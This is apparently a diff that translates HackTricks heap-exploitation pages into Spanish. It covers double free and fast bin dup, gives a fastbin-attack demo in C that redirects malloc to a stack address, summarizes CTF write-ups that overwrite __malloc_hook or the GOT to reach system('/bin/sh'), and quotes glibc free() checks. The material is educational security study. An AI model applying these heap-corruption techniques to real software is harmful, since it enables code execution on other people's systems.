En este ejemplo, después de llenar el tcache con varios chunks liberados (7), el código **libera el chunk `h`, luego el chunk `i`, y luego `h` nuevamente, causando un doble free** (también conocido como Fast Bin dup). Esto abre la posibilidad de recibir direcciones de memoria superpuestas al reallocar, lo que significa que dos o más punteros pueden apuntar a la misma ubicación de memoria. Manipular datos a través de un puntero puede afectar al otro, creando un riesgo crítico de seguridad y potencial de explotación.
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. Al ejecutarlo, nota cómo **`i1` e `i2` obtuvieron la misma dirección**:
Executing it, note how **`i1` and `i2` got the same address**: <pre><code>Asignaciones iniciales:
<pre><code>Initial allocations:
a: 0xaaab0f0c22a0 a: 0xaaab0f0c22a0
b: 0xaaab0f0c22c0 b: 0xaaab0f0c22c0
c: 0xaaab0f0c22e0 c: 0xaaab0f0c22e0
@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
g: 0xaaab0f0c2360 g: 0xaaab0f0c2360
h: 0xaaab0f0c2380 h: 0xaaab0f0c2380
i: 0xaaab0f0c23a0 i: 0xaaab0f0c23a0
After reallocations: Después de las reallocaciones:
a1: 0xaaab0f0c2360 a1: 0xaaab0f0c2360
b1: 0xaaab0f0c2340 b1: 0xaaab0f0c2340
c1: 0xaaab0f0c2320 c1: 0xaaab0f0c2320
@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
</strong><strong>i2: 0xaaab0f0c23a0 </strong><strong>i2: 0xaaab0f0c23a0
</strong></code></pre> </strong></code></pre>
## Examples ## Ejemplos
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/) - [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite. - Solo podemos asignar chunks del tamaño de Fast-Bin excepto para el tamaño `0x70`, lo que impide la habitual sobrescritura de `__malloc_hook`.
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance). - En su lugar, usamos direcciones PIE que comienzan con `0x56` como objetivo para Fast Bin dup (1/2 de probabilidad).
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook` - Un lugar donde se almacenan las direcciones PIE es en `main_arena`, que está dentro de Glibc y cerca de `__malloc_hook`.
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution. - Apuntamos a un desplazamiento específico de `main_arena` para asignar un chunk allí y continuar asignando chunks hasta alcanzar `__malloc_hook` para obtener ejecución de código.
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/) - [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation: - Usando bins de Tcache y un desbordamiento de byte nulo, podemos lograr una situación de doble free:
- We allocate three chunks of size `0x110` (`A`, `B`, `C`) - Asignamos tres chunks de tamaño `0x110` (`A`, `B`, `C`)
- We free `B` - Liberamos `B`
- We free `A` and allocate again to use the null-byte overflow - Liberamos `A` y asignamos nuevamente para usar el desbordamiento de byte nulo
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again - Ahora el campo de tamaño de `B` es `0x100`, en lugar de `0x111`, por lo que podemos liberarlo nuevamente
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free. - Tenemos un Tcache-bin de tamaño `0x110` y uno de tamaño `0x100` que apuntan a la misma dirección. Así que tenemos un doble free.
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md) - Aprovechamos el doble free usando [Tcache poisoning](tcache-bin-attack.md)
## References ## Referencias
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free) - [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)

View File

@ -2,18 +2,17 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
For more information about what is a fast bin check this page: Para más información sobre qué es un fast bin, consulta esta página:
{{#ref}} {{#ref}}
bins-and-memory-allocations.md bins-and-memory-allocations.md
{{#endref}} {{#endref}}
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**. Debido a que el fast bin es una lista enlazada simple, hay muchas menos protecciones que en otros bins y solo **modificar una dirección en un chunk de fast bin liberado** es suficiente para poder **asignar más tarde un chunk en cualquier dirección de memoria**.
As summary:
Como resumen:
```c ```c
ptr0 = malloc(0x20); ptr0 = malloc(0x20);
ptr1 = malloc(0x20); ptr1 = malloc(0x20);
@ -29,9 +28,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1 ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
``` ```
Puedes encontrar un ejemplo completo en un código muy bien explicado de [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void) int main(void)
{ {
puts("Today we will be discussing a fastbin attack."); puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n"); puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2; unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30); ptr0 = malloc(0x30);
ptr1 = malloc(0x30); ptr1 = malloc(0x30);
ptr2 = malloc(0x30); ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0); printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1); printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2); printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55; int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000"; char *data0 = "00000000";
char *data1 = "11111111"; char *data1 = "11111111";
char *data2 = "22222222"; char *data2 = "22222222";
memcpy(ptr0, data0, 0x8); memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8); memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8); memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0); printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1); printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2); printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0); free(ptr0);
free(ptr1); free(ptr1);
free(ptr2); free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar); *ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5; unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30); ptr3 = malloc(0x30);
ptr4 = malloc(0x30); ptr4 = malloc(0x30);
ptr5 = malloc(0x30); ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3); printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4); printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
} }
``` ```
> [!CAUTION] > [!CAUTION]
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md) > Si es posible sobrescribir el valor de la variable global **`global_max_fast`** con un número grande, esto permite generar chunks de fast bin de tamaños mayores, lo que potencialmente permite realizar ataques de fast bin en escenarios donde anteriormente no era posible. Esta situación es útil en el contexto de [large bin attack](large-bin-attack.md) y [unsorted bin attack](unsorted-bin-attack.md)
## Examples ## Ejemplos
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability). - Es posible asignar chunks, liberarlos, leer su contenido y llenarlos (con una vulnerabilidad de desbordamiento).
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`). - **Consolidar chunk para infoleak**: La técnica consiste básicamente en abusar del desbordamiento para crear un `prev_size` falso, de modo que un chunk anterior se coloque dentro de uno más grande, por lo que al asignar el más grande que contiene otro chunk, es posible imprimir sus datos y filtrar una dirección a libc (`main_arena+88`).
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ - **Sobrescribir malloc hook**: Para esto, y abusando de la situación de superposición anterior, fue posible tener 2 chunks que apuntaban a la misma memoria. Por lo tanto, al liberar ambos (liberando otro chunk en medio para evitar protecciones) fue posible tener el mismo chunk en el fast bin 2 veces. Luego, fue posible asignarlo nuevamente, sobrescribir la dirección del siguiente chunk para que apunte un poco antes de `__malloc_hook` (así que apunta a un entero que malloc piensa que es un tamaño libre - otro bypass), asignarlo nuevamente y luego asignar otro chunk que recibirá una dirección a malloc hooks.\
Finally a **one gadget** was written in there. Finalmente, se escribió un **one gadget** allí.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers - Hay un desbordamiento de heap y uso después de liberar y doble liberación porque cuando un chunk se libera es posible reutilizar y volver a liberar los punteros.
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. - **Libc info leak**: Simplemente libera algunos chunks y obtendrán un puntero a una parte de la ubicación de la arena principal. Como puedes reutilizar punteros liberados, solo lee esta dirección.
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`. - **Fast bin attack**: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de chunks de fast bin y en el último sobrescribir la dirección para que apunte un poco antes de este array de punteros. Luego, asigna un par de chunks con el mismo tamaño y primero obtendremos el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el chunk 1 para luego llamar a `free(chunk1)` que en su lugar ejecutará `system("/bin/sh")`.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address - Otro ejemplo de abusar de un desbordamiento de un byte para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT - Después de un infoleak abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un chunk en un lugar donde se encontraban los punteros a chunks controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT.
- You can find a Fast Bin attack abused through an unsorted bin attack: - Puedes encontrar un ataque de Fast Bin abusado a través de un ataque de unsorted bin:
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed). - Ten en cuenta que es común antes de realizar ataques de fast bin abusar de las listas de liberación para filtrar direcciones de libc/heap (cuando sea necesario).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`. - Solo podemos asignar chunks de tamaño mayor que `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. - Ataque de Fast Bin para modificar un array global de chunks. Esto proporciona una primitiva de lectura/escritura arbitraria, que permite modificar la GOT y hacer que algunas funciones apunten a `system`.
{{#ref}} {{#ref}}
unsorted-bin-attack.md unsorted-bin-attack.md

View File

@ -1,4 +1,4 @@
# Heap Memory Functions # Funciones de Memoria de Heap
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,95 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Free Order Summary <a href="#libc_free" id="libc_free"></a> ## Resumen de Orden de Liberación <a href="#libc_free" id="libc_free"></a>
(No checks are explained in this summary and some case have been omitted for brevity) (No se explican verificaciones en este resumen y algunos casos han sido omitidos por brevedad)
1. If the address is null don't do anything 1. Si la dirección es nula, no hacer nada
2. If the chunk was mmaped, mummap it and finish 2. Si el chunk fue mmaped, mummapearlo y terminar
3. Call `_int_free`: 3. Llamar a `_int_free`:
1. If possible, add the chunk to the tcache 1. Si es posible, agregar el chunk al tcache
2. If possible, add the chunk to the fast bin 2. Si es posible, agregar el chunk al fast bin
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list 3. Llamar a `_int_free_merge_chunk` para consolidar el chunk si es necesario y agregarlo a la lista no ordenada
## \_\_libc_free <a href="#libc_free" id="libc_free"></a> ## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
`Free` calls `__libc_free`. `Free` llama a `__libc_free`.
- If the address passed is Null (0) don't do anything. - Si la dirección pasada es nula (0), no hacer nada.
- Check pointer tag - Verificar la etiqueta del puntero
- If the chunk is `mmaped`, `mummap` it and that all - Si el chunk es `mmaped`, `mummap` y eso es todo
- If not, add the color and call `_int_free` over it - Si no, agregar el color y llamar a `_int_free` sobre él
<details> <details>
<summary>__lib_free code</summary> <summary>código de __lib_free</summary>
```c ```c
void void
__libc_free (void *mem) __libc_free (void *mem)
{ {
mstate ar_ptr; mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */ mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */ if (mem == 0) /* free(0) has no effect */
return; return;
/* Quickly check that the freed pointer matches the tag for the memory. /* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */ This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled)) if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem; *(volatile char *)mem;
int err = errno; int err = errno;
p = mem2chunk (mem); p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */ if (chunk_is_mmapped (p)) /* release mmapped memory. */
{ {
/* See if the dynamic brk/mmap threshold needs adjusting. /* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */ Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold && chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{ {
mp_.mmap_threshold = chunksize (p); mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold; mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold); mp_.mmap_threshold, mp_.trim_threshold);
} }
munmap_chunk (p); munmap_chunk (p);
} }
else else
{ {
MAYBE_INIT_TCACHE (); MAYBE_INIT_TCACHE ();
/* Mark the chunk as belonging to the library again. */ /* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p)); (void)tag_region (chunk2mem (p), memsize (p));
ar_ptr = arena_for_chunk (p); ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0); _int_free (ar_ptr, p, 0);
} }
__set_errno (err); __set_errno (err);
} }
libc_hidden_def (__libc_free) libc_hidden_def (__libc_free)
``` ```
</details> </details>
## \_int_free <a href="#int_free" id="int_free"></a> ## \_int_free <a href="#int_free" id="int_free"></a>
### \_int_free start <a href="#int_free" id="int_free"></a> ### \_int_free start <a href="#int_free" id="int_free"></a>
It starts with some checks making sure: Comienza con algunas verificaciones asegurándose de que:
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer` - el **puntero** esté **alineado,** o desencadene el error `free(): invalid pointer`
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size` - el **tamaño** no sea menor que el mínimo y que el **tamaño** también esté **alineado** o desencadene el error: `free(): invalid size`
<details> <details>
<summary>_int_free start</summary> <summary>_int_free start</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@ -99,288 +96,279 @@ It starts with some checks making sure:
static void static void
_int_free (mstate av, mchunkptr p, int have_lock) _int_free (mstate av, mchunkptr p, int have_lock)
{ {
INTERNAL_SIZE_T size; /* its size */ INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */ mfastbinptr *fb; /* associated fastbin */
size = chunksize (p); size = chunksize (p);
/* Little security check which won't hurt performance: the /* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space. allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */ here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0)) || __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer"); malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a /* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */ multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size"); malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p); check_inuse_chunk(av, p);
``` ```
</details> </details>
### \_int_free tcache <a href="#int_free" id="int_free"></a> ### \_int_free tcache <a href="#int_free" id="int_free"></a>
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and: Primero intentará asignar este fragmento en el tcache relacionado. Sin embargo, se realizan algunas verificaciones previamente. Recorrerá todos los fragmentos del tcache en el mismo índice que el fragmento liberado y:
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache` - Si hay más entradas que `mp_.tcache_count`: `free(): too many chunks detected in tcache`
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2` - Si la entrada no está alineada: free(): `unaligned chunk detected in tcache 2`
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2` - si el fragmento liberado ya fue liberado y está presente como fragmento en el tcache: `free(): double free detected in tcache 2`
If all goes well, the chunk is added to the tcache and the functions returns. Si todo va bien, el fragmento se agrega al tcache y la función devuelve.
<details> <details>
<summary>_int_free tcache</summary> <summary>_int_free tcache</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE #if USE_TCACHE
{ {
size_t tc_idx = csize2tidx (size); size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins) if (tcache != NULL && tc_idx < mp_.tcache_bins)
{ {
/* Check to see if it's already in the tcache. */ /* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p); tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100% /* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely 2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */ coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key)) if (__glibc_unlikely (e->key == tcache_key))
{ {
tcache_entry *tmp; tcache_entry *tmp;
size_t cnt = 0; size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; for (tmp = tcache->entries[tc_idx];
tmp; tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt) tmp = REVEAL_PTR (tmp->next), ++cnt)
{ {
if (cnt >= mp_.tcache_count) if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache"); malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp))) if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2"); malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e) if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2"); malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a /* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */ few cycles, but don't abort. */
} }
} }
if (tcache->counts[tc_idx] < mp_.tcache_count) if (tcache->counts[tc_idx] < mp_.tcache_count)
{ {
tcache_put (p, tc_idx); tcache_put (p, tc_idx);
return; return;
} }
} }
} }
#endif #endif
``` ```
</details> </details>
### \_int_free fast bin <a href="#int_free" id="int_free"></a> ### \_int_free fast bin <a href="#int_free" id="int_free"></a>
